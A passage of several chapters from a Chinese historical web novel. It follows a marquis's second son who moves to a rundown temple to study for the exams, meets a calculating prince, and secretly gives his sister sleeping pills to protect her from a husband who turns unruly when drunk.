一家人欢欢喜喜地吃完饭,他并未去歇着,反而将长子与次子叫到跟前。
书房。
封简宁看着两个儿子一时竟有些感慨,大郎一直以来倒也稳重,二郎前几年还是一个调皮的孩子,每每把自己气的够呛。现在俩人长的比自己都高。
尤其是二郎,此次能考中这么好的名次,着实令他意外,明年乡试在即,还是要紧紧皮,免得得意忘形。
视线从两人身上收回,清了清嗓子,这才说道:“明年就是乡试了,你们两个都得应考,今后如何做可清楚?”
大郎封砚开立即起身拱手,郑重道:“父亲,儿子必定辛苦读书,绝不懈怠!”
封简宁满意的点点头,又看向次子,“你呢?”
“儿子自会努力,只是家里杂事纷扰,也不清净,儿子想搬去城外的隆安寺苦读!”这是封砚初早就想好了的,他担心自己在家里太过安逸,失了心气。
“隆安寺?”
父亲封简宁与大郎封砚开听了此地之后眉头紧皱,隆安寺与灵台寺虽然都属于京城的寺院。
可这两者区别很大。因为太宗之母徐太后信佛的缘故,在未入宫之前常去灵台寺礼佛,所以修建的十分恢宏,后来也渐渐成为京中达官显宦最喜欢去的寺庙。
与灵台寺相比,隆安寺就十分普通。再加上其他寺庙道观香火竞争激烈,渐渐落寞,寺庙便将一些空房租住给进京赶考之人,或者滞留在京的举人,环境自然也就不如灵台寺。
“你想下定决心苦读是好的,但也用不上搬去隆安寺,这样,我让其他人别去打扰你读书。”封简宁觉得隆安寺的条件太艰苦了,虽然要苦读,但也用不着这样。
“是啊,二郎,在家里也是一样的,隆安寺虽清净,但那里的条件着实差了些,吃的还好说,让家里送,可这住处怎么弄?”大郎封砚开被自己二弟惊了一下,立即劝道。
“父亲,大哥,你们也不用忧心,隆安寺固然不如家里舒适,可那里住了好多滞留京城的举人,儿子读书之机,也可以与他们一起探讨学问。此次去我也不是一个人,就让冯四和暮山跟着吧。”封砚初既然已经决定努力上进,自然不想在家处处受限,有个风吹草动,不到一盏茶的时间,消息都能传遍。
“要不这样,先在隆安寺租一处,你隔几日去与人探讨学问也是一样的。”封简宁退而求其次。
封砚初态度坚决,“父亲,你不必说了,我心意已决,明日起,就让人收拾东西。”
“可是……”
封简宁的话未尽,大郎封砚开口劝道:“父亲,算了,自小二郎打定主意的事,哪次不是您先妥协。”
“还真是。”封简宁回想以前,二郎每次对他提要求,无论过程如何,可结果他都同意了。
“有这时间,还不如明日让白管家去一趟隆安寺,先挑好些的房间租下来,收拾妥当,这样二郎住的也舒坦些,家里虽说可以送饭,但毕竟住在外头一应花费银钱也比家里多,父亲是否要给母亲说一声?”封砚开觉得与其劝说,还不如让父亲和母亲去说,毕竟这种事情母亲一向做的最周到。
封简宁听了长子的话,立即去了大娘子处。
“什么?要住到隆安寺?”大娘子虽未去过,可也知道那里和灵台寺根本没有可比性,“前年大雨,隆安寺的佛堂塌了一角,直到今年开春三月才修好,还不是没钱,夫君劝劝二郎吧。”
“我何尝没劝?可那小子你也知道,死犟死犟的,根本说不动,只能明日先派人去隆安寺租个好些的屋舍,好好拾掇拾掇,需要修缮的修一修。”封简宁要为朝政上的事操心,回来还碰到次子这事,正烦心呢。
“明日让白管家亲自走一趟,先去看一看。”大娘子见夫君已经妥协,她也只能尽力做到最好。
“嗯,我记得家里孩子们的月钱是一个月二两?”
“是,可是有什么不妥吗?”
“倒没什么?二郎如今出去外面住,各处都要花钱,便给他涨一涨,没得与人交际没钱惹人笑话。”在封简宁心里,二郎从来不乱花钱,他私心里觉得这些年二郎肯定也攒下了一些。
“嗯,那我每月给他五两,然后再拿一百两给他。”大娘子心里盘算了一番,每月五两绰绰有余,再给一百两急用,完全够用。
夫妻俩说了一会话,便歇着了。
次日,整个侯府都知道二郎君为了乡试,准备搬去隆安寺读书。
封砚初起来之后,就见李妈妈急匆匆的要回去收拾东西,还吩咐碧芳和雪香也赶紧收拾起来,便奇怪道:“妈妈这是做什么?”
“当然是跟着二郎去隆安寺啊,你身边没人照顾怎么可以?”李妈妈一副理所当然的样子。
封砚初扶着额头,长叹一声,“妈妈,我是去读书的,又不是去享受的。”
“不影响,你读你的书,我们照顾我们的。”李妈妈觉得郎君自从被关了一年之后,就不太需要她了,心里隐隐有些失落。
“若真如此,我早就在家里读书了,还去什么隆安寺。妈妈帮我守着这个小院,如果我缺个什么东西,还需要您帮忙找呢,她们都是年轻丫鬟,哪能离得了您呢?”封砚初半安抚,半哄着。
李妈妈果然被哄高兴了,立时精神振奋,开始组织丫鬟收拾东西,满院子都能听见她的声音。
“那几件夏衣要放在外头,过几日天热了要穿的!”
“那套镇纸可是玉的,带去丢了,或者碎了,可怎么办?去拿那对雕着狮子的!”
“如今虽说天暖了,可夜里寒凉,多拿一床厚些的被褥!”
“你这院子里可真热闹。”长姐封砚敏听说二弟要去隆安寺读书便来探望,进门便看到这一幕。
第七十四章 这是悄悄给你的
“姐姐来了,我这里正乱着,咱们去树下的石桌边上坐一会。”封砚初将人迎进来,又道:“雪香,上些茶点。”
封砚敏刚坐下,便朝后面的碧玉挥了挥手,“我知道你要去隆安寺读书,便做了几双足袋,还有帕子,香包。”
封砚初接过之后,便让碧芳直接收起来了。
紧接着大郎,三郎,四郎,二妹,三妹,堂兄他们也送来一些东西。
其余人都是亲自送来只有堂兄吓得没敢来,原来是二叔提了一句,将他也送到隆安寺读书,仅这一句,就吓坏了。
大郎对封砚初去隆安寺这件事还是很重视的,他比旁人来的都晚一些,“我本来想送你几本书,但想着你此次去必然带的书不少,便送来两把扇子,过两日天热,你出去与人交流文章,用它正合适。”
“多谢大哥。”封砚初虽然不需要,但还是收下了,因为前些年不得自由练武,用扇子代替,所以经常坏,这也给众人落下一个他喜爱扇子的印象。
“二郎,说实话,此次你主动提出去隆安寺读书,不仅我吓到了,就连父亲也一样,父亲原本还想好好劝你,不要懈怠,没想到你竟然自己主动要读书。”封砚开虽不赞成弟弟去隆安寺,但他既然有此决心就不应该阻拦。
这是封砚初第一次想读书,科举的残酷他深知,侯府生活太过安逸,所以才会逼着自己前行。
他看着即将西沉的落日,将天边的云彩照的绚丽夺目。虽明白花无百日红的道理,直到父亲用长姐的婚姻来换取侯府的资源之时,他才明白,自己是武安侯的一员,姓的是封,如何能逃的掉?
他比旁人特殊在何处,凭何父亲如此厚待于他?父亲给了他丰厚的资源,享受了侯府优渥的生活,自然要为将来出一份力,只是现在的他还太过弱小。
良久的沉默后,缓缓说道:“只是想明白了,我毕竟姓封!有多少人指着武安侯府,父亲与大哥肩上的担子日益沉重,我自然要帮着分担。”
这番肺腑之言,竟让封砚开心里头堵得慌,他既欣慰二郎懂得身上的重担,又难过自己力薄,还需弟弟帮扶。
最后他什么话都没说,只是拍了拍二郎的肩膀离开了。
紧接着是大娘子来了,查看了行李后,满意的点点头,“嗯,收拾的也都齐全,白管家从隆安寺回来了,说是窗户需要重新修缮,屋顶的瓦片也有两处碎了,若是下雨肯定漏水,得两天才能修缮完。”
“多谢母亲费心操持。”
大娘子又拿出三百两出来,“你在外读书,肯定要交际,这一百两银子是你父亲让给的,这二百两是母亲额外给你添的。”
“我身上还有些钱,再说读书也用不了这么多。”封砚初手头上还有一百两,其中四十两就是从孙延年那里赚来的,便将银票推了回去。
大娘子故作恼怒,“拿着,你第一次在外读书,哪里知道外面的苦,做父母的自然希望你好好的,若再推辞,母亲可是要生气的,这是悄悄给你的,可别让其他人知道,说母亲偏心。”
封砚初到底收下了,“多谢母亲。”
“出门在外,要照顾好自己,我听说你嫌每日从家里送饭太远,太麻烦,今儿特意叮嘱白管家去看了,城外有一家五味楼,以后每日让冯四或者暮山去那里提饭……”大娘子又叮嘱了好些才离开。
不知是不是错觉,封砚初突然感觉大娘子对他有些不同,若说以前更多是在嫡母的责任上多关注了些,可现下却有了份真心。
封简宁是第二日来的,他见收拾出来的行李,竟然生出儿子不回来的感觉,“若是缺了什么,便让人回来取。”
“已经很多了,就这我还让李妈妈精简了许多。”
“去了好好读书,别出去和不三不四的人鬼混。”
可能凡是家长都会在孩子离家之时如此叮嘱,封砚初前世离家上大学之时,他爸几乎说了同样的话。
“父亲!”
“好啦,好啦,我知道你是个有分寸的孩子,既然下定决心苦读,必定不会辜负。只是现在天气热没什么,到了冬季是不是回来住?”封简宁还是抱有一丝希望。
“父亲,遇到年节之时,我会回来的,再说六月份姐姐成婚,我怎么可能不在。”他如此坚决的态度,竟然让封简宁不知该说什么话。
只是到底惦记儿子,从袖囊里拿出一百两银票,“这一百两你且拿去,男人嘛,难免有个交际应酬,后日你去隆安寺,我就不送你了。”说完也不等儿子开口直接走了。
不过回去的脚步轻快了许多,内心感慨,儿子长大了,终于懂事了。
封砚初拿着父亲送来的一百两银票看了又看,父亲竟然还有如此感性之时?现在他有五百两了,钱袋一下子富了。
第七十五章 难不成是发配
去隆安寺的路上,封砚初有些尴尬,他身后跟了很多下人,专门给他收拾屋子的。
出了城越走越静,转过几道弯,郁郁葱葱的林间隐藏着一处寺院,陈旧的牌匾上书写着‘隆安寺’三个大字。
寺院门前倒也干净宽敞,封砚初下了马车后,便瞅见一个年长些的和尚带着几个年轻些的,站在寺前迎接。
“阿弥陀佛,贫僧空净见过封施主。”那个老和尚行了个佛礼,说话的语气给人满是慈悲。
“在下封砚初,见过大师。”双方稍微客套了一番,便被迎入寺内。
这是他第一次来隆安寺,从这寺庙的规模上可以看出原先的繁荣,可能因为败落的缘故,到处充斥着陈旧之气。
隆安寺为了方便租客往来,重新开了一个侧门,他这次是第一次来,再加上家里还算富贵。
方丈空净特意带着他在大殿各处转了转,讲解了一番隆安寺的历史,为的就是能多要些香油钱,甚至可能的话,最好出资修缮寺院。
话说封砚初在这边转着,跟来的下人早已经去了租住之处,开始收拾东西。
一共租住了一大一小两间,大的自然是封砚初住,小的则是冯四和暮山的,从外面可以看出这两间的门窗都被修缮过。
其中大一些的房间被分为内外两室,内室自然是用来居住的卧室,外间用来读书,待客。虽然质朴,但一应东西都是全的,有的还是新添的,可见白管家是用了心的。
随着一箱箱东西搬了进去,旁边那些在屋里读书的人再也忍不住好奇,纷纷出来瞧。
最先出来的是一个身穿青色粗布长衫的书生,约莫二十来岁,指着不远处抬进抬出之人,对旁边的书生道:“元康,快来瞧,好家伙,这么多东西,看样子来的人很有钱啊!”
此人名叫江行舟,家境寻常,虽不缺吃喝,可供一个读书人也是不小的花费,所以日常十分节省。
这名叫元康的书生,伸着脖子看了一会儿,才道:“你说的净是废话,前天和昨天接连两日,叮叮当当,搬进搬出,闹的好大的动静,没钱能这么折腾吗?”
俩人说话间,一个穿着葱绿色锦缎的男子,摇着扇子缓步走近,“要我说你们俩还是看的太浅,你们瞧见那些下人了吗?他们穿的只怕比咱们有些人还要好些。在京城中,谁家的下人能穿成这样,你瞧见旁边那个指挥的婆子没,那身上穿的可是绸的!家里必定非富即贵。”
“难不成是被发配到此处的?”身穿青色长衫的江行舟忖度着。
“猜不着。”元康摇头不解,转头问向穿着葱绿色锦缎的男子,“你觉得呢?”
“那些大户人家都有庄子,如果真的犯了错必定是赶到庄子上,何必费这钱?再说我方才瞧见了,隆安寺的空净大师带着几个寺院里慧字辈的亲自去迎接,不像是发配。”
此人名叫谢鹤川,他家里其实也算有些家资,对有钱人家那一套多少有些了解。而他之所以住在这里,也是因为京城富贵,他家里也经不起这般挥霍,再加上会试未中,一来一回的花费不下一百两,有这些钱财还不如租住在此读书。
封砚初送出二十两香油钱,才顺利从空净那里逃脱。由寺里的小沙弥引路,来到租住之所。
此处有三个院落用来对外租赁,只是并非科考之年,所以每个院子也只住了三四个人,当他来到自己租住的院子时,门外守着七八个看热闹的人。
那些人见封砚初穿的华贵,立即让出一条路,然后纷纷主动打招呼。
进了院子,屋内已经收拾妥当,李妈妈正带着下人站在外面等候。
他进来就瞧见围观着不少读书人,为了以后能够和谐相处,便吩咐着,“妈妈,我记得来之前带了很多糕点,您分包出来,给租住在此的每人送一包。”
“是。”
江行舟三人也没想到自己围观了一会儿,还等到一包点心。
李妈妈一上来先是行了礼,然后就说了自家门户,言语见并无高高在上之敢,反而显得十分亲和,“我家郎君乃是武安侯府的二郎君,听闻隆安寺清幽,又有诸位学子在此读书,便心向往之,特意来此备考,还请几位郎君今后多多照顾,奴婢在此拜谢。”
“哪里哪里,婶子,您客气了。”
“当不起这一声婶子,奴婢是我家郎君的乳娘,我家郎君正忙着,特意让奴婢送来一些点心当做见面礼,东西太过简薄,还请诸位不要嫌弃。”
直到李妈妈退下之后,江行舟这才打开点心一瞧,随后一股香甜之气入鼻而来,“这点心值不少钱吧,看着就很贵。”
元康瞧了一会儿,这才道:“这是菱粉香糕,里头是加了牛乳的,若是在外头买,这一包怎么着也得两钱,我有幸吃过一次。”
江行舟听后谨慎的将点心包起来拿好,这才道:“这么贵!抵得上我一个月的花用了,瞧方才的老妈妈也不寻常。”
谢鹤川提着点心,瞥了一眼江行舟,啧啧道:“武安侯府啊,那可是勋贵人家,你瞧方才那老妈妈进退有度,到底是大户人家,咱们这些人如何能比得上。”
又左右看了两人一眼,“别光看着点心乐呵,想好了一会登门拜访带什么东西了吗?”
此话一出三人皆沉默。
“就我这样的,有什么东西能拿的出手?只怕别人都看不上。”江行舟实在穷困,连个差不多的物件也没有,他觉得与其带一件破落物丢人,还不如空手上门。
元康私藏了一些好茶叶,只是这茶叶在他看来很珍贵,但对人家来说可能只是寻常。
谢鹤川放下到的稍微晚些,是因为他早就提前探听到,来人是武安侯府的封二郎,如今还是秀才,他正好得了几篇上好的策论,不如带着此物去,正好探讨探讨。
几人均闲谈几句,便各自回屋去了。
第七十六章 几年不见,怎么生疏了
下人们离开后,封砚初这才有时间细细打量这间屋子,虽然朴素,但瞧着还算舒适,而且这周围确实幽静。
从书架上找了一本书开始看起来,冯四不知什么时候已经点燃了茶炉,铜壶里的水滋滋冒着热气;暮山被他派去‘枕松闲居’去取东西,回来的路上顺带将饭菜提上。
‘咚咚咚’
一阵敲门声传来。
门外的冯四先进来禀报,说是院子里的三位举人来拜访。
封砚初放下手中的书,吩咐道:“将人请进来,冯四,你便下去歇着,等暮山回来之后,你再回‘枕松闲居’。”
“是,郎君。”当冯四得知此次他也要跟着一起来隆安寺之时,便明白郎君是为了让他守在‘枕松闲居’,若真的有事也可以随时支应。
谢鹤川三人进门后,只觉得眼前一亮,这哪里还像是隆安寺之地,布置的不仅雅致,里头的物品看起来也很华贵。如此一比,他们自己的住处简直破落。
而这位封郎君身量修长,面若冠玉,身上天青色的衣裳更显其人不俗,清贵中带着淡雅。
只见对面之人拱手行礼,“在下封砚初,家中行二,今日初至,还未来得及上门拜访,倒是劳烦三位先来。”言语中透着客气,举止有礼有度。
谢鹤川最先行礼介绍自己,“在下谢鹤川,家中行四,未提前告知便上门,打扰了,这是在下偶尔得来的几篇策论,愿与君共赏。”说着拿出了策论。
紧接着是元康,他仿佛随意一般拿出一罐茶叶,笑道:“在下元康,行三,这是前些日子从家里带来的茶叶,封二郎君别嫌弃就好。”
“怎敢,怎敢。”封砚初说话间接过茶叶。
最后是江行舟,他果真两手空空,不过行为间多了一些不羁,哈哈笑道:“哈哈哈,在下江行舟,家中就我一个,封二郎君一瞧便知,在下可没有好物相送,只得空着手来拜访,还望勿怪。”
“江郎君能来就已经很好了,封某怎会是那种嫌贫爱富之人。”封砚初说话间请众人坐下,又亲自为三人斟了茶。
“嗯~好茶,好茶!”江行舟接过茶便喝了起来,忍不住赞叹。
元康实在看不下去,连连摇头,“牛饮,牛饮!”
其实这也只是封砚初日常喝的茶,他见江行舟爱喝,又为他添了一杯,“好喝便多喝些,我瞧三位都是爱茶之人,一会带些去!”
其实元康刚尝了一口,便发觉自己宝贝似的茶还不如人家拿来待客的,心中便隐隐有些后悔送茶叶做礼。
闲谈间,封砚初打开谢鹤川带来的策论,果然不俗,字字珠玑。几人倒是开始讨论起来,期间相互争论,好不热闹,方才短暂的陌生与送礼带来的尴尬瞬间消散。
直至暮山回来,众人这才察觉,到了该走的时候。
“简直酣畅淋漓,痛快!”所有人都觉得此行不虚。
最后,暮山为每人包了些茶叶,临行前几人又相约下次探讨。
不知不觉间,天色渐暗。
比起城内,隆安寺的夜晚不仅多了些寂静,更添山野旷达之意;天幕星河做伴,仿佛世间事不过微如尘埃,就连来日的郁闷之气也消散了许多。
从这之后,封砚初便过上了十分规律的生活。
清晨早起之后,他会与暮山对练一会武功,紧接着洗漱一番,用过冯四带来的早饭,便开始一日的苦读,直至暮色降临才会停下;晚间要么再练一会武,要么看会医书调节思绪。
次日,伴着晨钟起床,日复一日。
时光如流水,转瞬便已是六月,到了长姐封砚敏即将出嫁的日子,封砚初自然也要回去。
为了方便出行,封家上次是留了马在这儿的,所以此次回去自是骑马。
“驾!”鞭子扬起,马儿四蹄踏出,不一会儿,便跑出好远。
就在回城的路上,封砚初远远便瞧见一群人骑马迎面而来。
“吁——”因为不着急,他便停下相让。
只是让他没想到的是,迎面而来之人竟是六皇子,既然已经面对面了,他立即下马行礼。
而六皇子也看见他了,“封二郎,你怎么在这儿?也是出城打猎?”
“回六殿下的话,学生如今住在隆安寺读书,明日草民的姐姐成婚,今日往回赶。”如今的封砚初,比起刚穿来那几年,多了些沉稳的意思。
“哦,隆安寺?”六皇子皱眉回忆,旁边的人立即低声提醒。
“怎么是那?你被武安侯处罚了?”六皇子神色有些怪异,他之前也听说武安侯为了让儿子读书,将人关了禁闭的消息。
封砚初心中轻叹,这已经不是第一个人有这种看法了,只得解释道:“是学生自己要求的,觉得不能继续无所事事下去了。”
六皇子听后,这才从马上下来,自来熟的拍了拍他的肩膀,“难为你了,竟吃得下这种苦。父皇前日分给我一个皇庄,那里有一片林子,我正要去打猎呢,真是不巧,否则就请你一起去了。”说到此处脸上又扬起笑来,“不过我分府了,以后请你去我府上坐坐。”
“承蒙六殿下厚爱,学生不胜惶恐。”封砚初的话几乎是用尺子量出来的标准答案。
六皇子见状叹气道:“唉,你怎么如今没有幼时有意思了,咱们小时候还玩的挺好的,怎么几年不见生疏了?罢了,今日有事,改日再聚。”说罢,骑马而去。
“学生恭送六殿下。”等人离开后,封砚初这才看向六皇子离去的方向,眼睛微眯,这六皇子越来越不简单了。
其实他们小时候只见过几次而已,并没有那么熟。一开始六皇子也只是因为碰见问两句,直到听见自己为了读书甘愿去隆安寺之时,这才下马说话以示亲近。
无论将来自己会不会成功科举中榜,官运如何,都不妨碍他给众人留下一个亲民的形象。若自己成功,那今日没准会成为一个契机,若不成也没什么损伤。
他用着仅自己能听见的声音呢喃着,“还是和小时候一样,心思真多。”
第七十七章 不过随手为之
话说六皇子一行人,快马急行,很快就到了皇庄,门前早就有庄头候着。
有随侍太监来问,“殿下,皇庄上已经备好了酒菜,您可是先用膳?”
六皇子并未看来人,神情中亦看不出喜怒,扔下了一句,“随我去打猎!”就甩鞭而去。
留下的太监吃了一嘴土,他见六皇子骑马而去,也只得上马跟随。
不一会儿,就到地方了,身后那太监也跟来了,六皇子看向来人道:“陈茂才,你速度倒是快。”
只见太监陈茂才脸上立刻挤满了笑,“瞧殿下您说的,贵妃娘娘让奴才照顾好您,奴才自然要尽心尽力。”
“我知道你的忠心。”六皇子嘴上说着话,眼睛却随意一瞥。
就在这时,一个侍卫接收到信号,脸上换了一副表情,做出讨情的样子,“殿下,属下前日不小心撞到了胳膊,估计伤到了筋,一会可能拉不了弓,请殿下恕罪。”
一旁的侍卫笑道:“李延,我看你是想偷懒吧!”紧接着就是一阵哄笑。
六皇子也未恼,反而呵呵笑道:“罢了,你就歇着吧。”
李延笑着拱手,“多谢殿下体恤。”随后话音一转,“殿下,陈公公不善弓马,不如也留在这儿?”
“你都这样说了,便依你吧!”六皇子仿若无奈的样子,旁人瞧了只觉得平易近人。
陈茂才看着离去的六皇子,正欲跟上去,被李延一把拽住,“哎,我说陈公公,你傻啊,殿下打猎还不知什么时候能结束呢?与其苦哈哈的跟在身后,还不如歇会呢。”
“可是殿下……”陈茂才想要挣脱,可他哪是李延的对手。
“哎呀,要我说,有这会儿功夫,咱们还不如去吃饭呢,我饿了,你饿吗?”李延边说边将人拽走。
六皇子骑出好一段这才将马勒停,对其余侍卫说道:“这么多人,没得吓跑猎物,咱们分开来,以一个时辰为限,谁猎的多,我便赏谁!”
那些侍卫顿时兴奋不已,甚至有人调侃道:“哎呀,李延亏了,早知殿下有赏赐,他才不会躲懒呢。”
“许敖,方硕,你们俩随我去那边!”六皇子点了两个侍卫朝另一边策马。
直到看不见人之后,三人这才停下,而六皇子的脸上哪里还有方才的如沐春风,温文和善。
“不过是仗着贵妃的势,竟然跟的那般紧!”许敖看向太监陈茂才的方向,语气不善。
“且忍一忍吧!位置选好了吗?”六皇子看向许敖问道。
许敖听后立即正色道:“选好了,在齐家庄,那里有一处密林作为掩护,且位置险峻,很隐蔽。”
“嗯,人选慢慢物色,万不能惊动旁人!”六皇子继续叮嘱。
“殿下放心,如今您分了府,行事更加方便。”许敖早在六皇子还未出宫之前就暗暗寻摸,时至今日才寻到。
说到这里六皇子心中就恼怒,自从生母离世之后,他就被抱养给了贵妃。可贵妃本身就有亲生的大皇子,自然对他多有疏忽,若非他机灵得到父皇宠爱,只怕早就没有了容身之所。
福祸所依,他虽然得到了父皇的宠爱,可也让贵妃母子警觉。原本他可以在十五岁就分府的,但硬生生被贵妃以不舍为由,强行让他在宫里多待了两年,而大皇子对他犹如仆从一般,呼来喝去,贵妃更是正大光明的将陈茂才安插在身边,这让他如何不恨!
可即使如此,他也不得不装出一副孝顺的样子,毕竟贵妃在父皇面前就做的很好,否则也不会在今年才出宫。
一直未开口的方硕略带疑惑道:“殿下是想拉拢封二郎,所以才提前一天来打猎?可封二郎现在只有一个秀才的功名,武安侯府近几年也逐渐落寞。”
“封二郎是没用,可他却与孙延年是至交好友,其父安南将军孙知微手握京西武备营,那人滑不溜秋,无论是大皇子还是信国公都想拉拢,可都没用。”
“ 唐承左右逢源,看似与谁都交好,实则不然,否则自家女婿丁忧结束,怎么不见帮忙?还不是眼见武安侯府落寞罢了。武安老侯爷早就看清其面目,所以生前唐家之事都由如今的武安侯处理。”
“而且我瞧着封砚初也算有些志气,若将来真能有一番成就,自然可以留下一个亲和的印象,抢先一步;若是不能也无妨,不过随手为之,又不费什么事;万一真有用,那可帮了我大忙。”
六皇子早就想接触孙家,可为了不引起陛下,大皇子,皇后等人的警觉,这才不得不转个弯,试图从封二郎身上想点办法。
而信国公未必没有这心思。即使当下拉拢不到安南将军,只要将来对方不使绊子也不错。否则,怎么可能让徐三郎娶封家的女儿为妻,与他一样,都是顺手为之。
“殿下英明。”
六皇子也没废话,继续道:“带我去瞧瞧你找来的人。”
“是,殿下随属下来。”方硕领命。
到了地方之后,只见一群少年正在林子里敲锣赶着隐藏起来的猎物。而这些少年有男有女。
而六皇子仿若看不见他们一般,拉弓射向仓皇出逃的猎物,没一会儿就接连射中四只。
“好了,回吧!”
随着六皇子的离开,那群少年也被人带走了,而这群人并不知道原由,真就以为是帮林子里的大人物赶猎物。
“殿下请放心,这些孩子都是这几年家乡遭灾或是穷的吃不起饭,这才被我们的人收养,来路清白。”方硕知道殿下的底线,在看完那些少年之后,立即解释。
“你办事,我很放心。”
瞧着时间差不多,三人与其他侍卫汇合,看似一场狩猎圆满结束。
第七十八章 有个东西要送给你
夕阳西斜,封砚初才到家。
“明日就是你姐姐成婚,你怎么现在才回来?”封简宁有些不悦。
“哦,本是要早走的,在寺里耽搁了一会儿,半道上又碰见出城狩猎的六皇子,这才晚了。”封砚初并未说实话,而是隐藏了一部分事实。
“六皇子?以后和他少来往,毕竟事关皇子轻忽不得。”封简宁因为还有事情要处理,并未深究,打发儿子离去,“罢了,你先回去歇着吧,明日还要早起呢。”
“是,儿子告退,父亲也早些休息。”
封砚初回去之后,院子里的人都很兴奋,围着他说了半天的话,见他兴致不高,这才散去。
眼见已是暮色,李妈妈举着灯进来,“二郎,天色不早了,明日还要早起,快歇着吧。”
“妈妈不用管我,你明日有的忙呢,去睡吧。”封砚初又看了一眼沙漏,时间差不多了。
等李妈妈离开之后,便出了院子,去的方向竟然是长姐封砚敏住处。
当他到了之后,屋内灯火依旧,长姐封砚敏并未睡下。
‘咚咚咚!’
“谁啊?”是碧玉的声音。
“姐姐,是我,二郎!”
“有什么事明日再说,我要睡了。”封砚敏的声音听起来很平静。
“姐姐明日成婚,怎能不来添妆,我有个要紧的东西给姐姐。”封砚初并未回去,继续坚持道。
“碧玉,开门吧。”封砚敏终究没能拗得过。
进门后,昏暗的烛火之下映着红色的喜庆,几乎让他以为走错门了,长姐略微红肿的眼睛,让这一切更显得讽刺。
“姐姐,还未睡呢。”封砚初问了一句很白痴的话。
“就要睡了。今日大家都来了,只是没见你,我还以为你不会来了,只是怎么这会儿才来?”
铜镜下,封砚敏的长发散开着,脸上一如往日挂着温和的笑,要不是眼睛出卖了她,封砚初几乎就以为是真的了。
封砚初从袖囊里掏出一个小盒子,递过去,“姐姐,这是我给你的添妆,愿姐姐余生多些欢喜,少些愁闷。”
封砚敏见二郎郑重的将东西装在盒子里,笑道:“是什么东西,竟然装的这么严实。”
说罢打开盒子一瞧,里面竟是两红、一白、三个瓶子,好奇的拿起一只问道:“这是何物?”
“姐姐,徐三郎酷爱喝酒,喝完酒还喜欢趁着酒劲惹事,这是我在外头亲眼瞧见的,他在家如何,还不得而知,可将来是姐姐与他朝夕相处,我实在不放心。”
“二郎,我没事的,总归要嫁人,嫁谁不是嫁。”封砚敏虽然笑着,可心里却有些苦涩。
封砚初拿起一只红瓶,重新递给长姐,“姐姐,若是那徐三郎酒后不安分,你便给他吃一粒,放进茶里或是醒酒汤里都好,只此一粒,便让他昏睡下去,直至次日。”
在长姐目瞪口呆的震惊中,又将白色瓷瓶递过去,“这一瓶是解药,若发生意外情况,吃一粒便可醒来。”
封砚敏缓了好一会儿,这才找到自己的话,“二郎,这是哪来的?”
“姐姐别问了,总之,我宁愿姐姐从不会用它。”他的神情是从未有过的严肃。
就在封砚敏还要张嘴之际,丫鬟碧玉轻轻拽了拽对方的衣袖,“姑娘,您就别问了。”
“姐姐歇着吧,我先回去了。”封砚初交代清楚之后并未多留。
人离开后,封砚敏紧紧握着瓶子,担忧道:“碧玉,你说二郎会不会……会不会瞒着大家做了什么不好的事?他哪里认识这样的人?”
“姑娘,二郎君重情重义,做事一向有分寸,肯定不会的,想来今日二郎君之所以回来的这么晚,必定是为了这个。”碧玉指着对方手里的瓶子猜测。
封砚敏将瓶子放进盒子,将它收好,“我知道,所有的兄弟里头,就他待我不同,他希望我好,我也希望他以后好好的。”
封砚初本来是要提前两天回来的,可之所以今日才回来,就是因为那个药方里头缺一味药,寻访多日,才知道踪迹,可那药今日早晨才到。他专门回了一趟‘枕松闲居’,就是为了配药。
次日,天还未亮,整个侯府就开始忙碌起来。
封砚初也被李妈妈喊醒,“二郎,不能睡了,该起了!”
几乎是李妈妈刚出声,他就猛地从床上坐起来,揉了揉脸,整个人彻底清醒。
今日,他的任务不仅仅是送姐姐出嫁,还要陪着父亲和大哥招待侯府的宾客,所以等他收拾妥当之后,天色已经大亮。
刚到前院,就受到父亲的两句责备,“不知道今天是什么日子吗?怎么到的这么晚?”
“是儿子起晚了。”封砚初并未像以前似的顶嘴,而是乖乖认错。
这让封简宁觉得惊讶,次子竟然如此乖顺?一时之间竟有些忐忑,叮嘱道:“今日是大事,你可别出什么幺蛾子!”
封砚初听后竟有些无语,自己听话还不好吗?疑神疑鬼的!“父亲,儿子已经长大了,怎么可能还像小时候那般调皮?”
前院这边忙着迎客,后院这里也没闲着,封砚敏早已经洗漱完毕,特意请来的全福人正在为她梳头。
一边梳,一边唱着,“一梳梳到头,富贵不用愁;二梳梳到头,无病又无忧;三梳梳到头,多子又多寿;再梳梳到尾,举案又齐眉;二梳梳到尾,比翼共双飞;三梳梳到尾,永结同心佩。有头有尾,富富贵贵。”
大娘子看着身着嫁衣的女儿,脸上虽笑着,可眼泪竟止不住一般,旁边婶娘温氏,她娘家嫂嫂孙氏,娘家弟妹方氏都来劝她。
“今日是高兴的日子,可不兴哭,你这样如何让女儿安心出嫁。”
“过几日回门,就能见到了。”
可这些话并不管用,最后还是温氏将她扶出去的。这是她第一次失态,心里固然明白这已经算是,在这些利益交换中,能为女儿选的最好的一家,虽然都是勋贵,可信国公府比武安侯府强出不少。
这就是身在富贵人家的不得已,不仅仅是女儿,儿子娶妻也是一样的,当年的她何尝不是呢?
第七十九章 恐怕我不能常来了
封砚初站在门前迎客,凡是进来的客人都会感慨一句,“哦,这就是你家二郎啊。”
紧接着第二句便是,“长的这般高了,好好好。”那语气和音调仿佛是遇见什么新奇物一般,让人十分不适。
在迎客的过程中,他发现今日来的宾客中,与祖父在世时大不一样。除了一些原本就与封家交好的,还有一些以前从未上过门的,甚至有一些人家要么是礼到人不到,要么是让家中晚辈来。
就比如安南将军孙家,派来的代表就是孙延年,其父孙知微并没来,而祖父在世时,此人与封家还有几分交情。
孙延年看到封砚初很高兴,朝封简宁行了礼之后,便对好友道:“二郎,最近我忙着,一打听才知道你去了隆安寺,过段时间我去瞧你。”
“那敢情好,我还以为你会问我别的。”
“我还不知道你,侯爷如何舍得将你发配到隆安寺?你且忙着,我先进去了。”孙延年对武安侯府很熟悉,因为他总来找好友玩。
“等结束后,我再与你喝几杯。”封砚初一边示意下人引路,一边说道。
唐家若非因为此次是外孙女的婚事,估计唐承并不想来,所以他是登门最晚的。
“简宁见过泰山。”
“砚开/砚初,见过外祖。”父子三人一起行礼。
唐承此人,即使心里再不喜,面上也是乐呵呵的,他甚至还扶着封简宁的胳膊道:“恭喜,想来不久之后,你就要做外祖父了。”
随后看着封砚初兄弟二人缓缓点头,“都是好孩子,你们且先忙着,我先进去了。”说罢直接进去了。
封砚初迎完客之后没多久,徐三郎就来接亲,他作为兄弟自然要在门前拦一拦。
这徐三郎长的倒是俊朗,举手投足有礼有度,要不是面上的那点微红,还真叫人觉得是一个难得的佳郎。
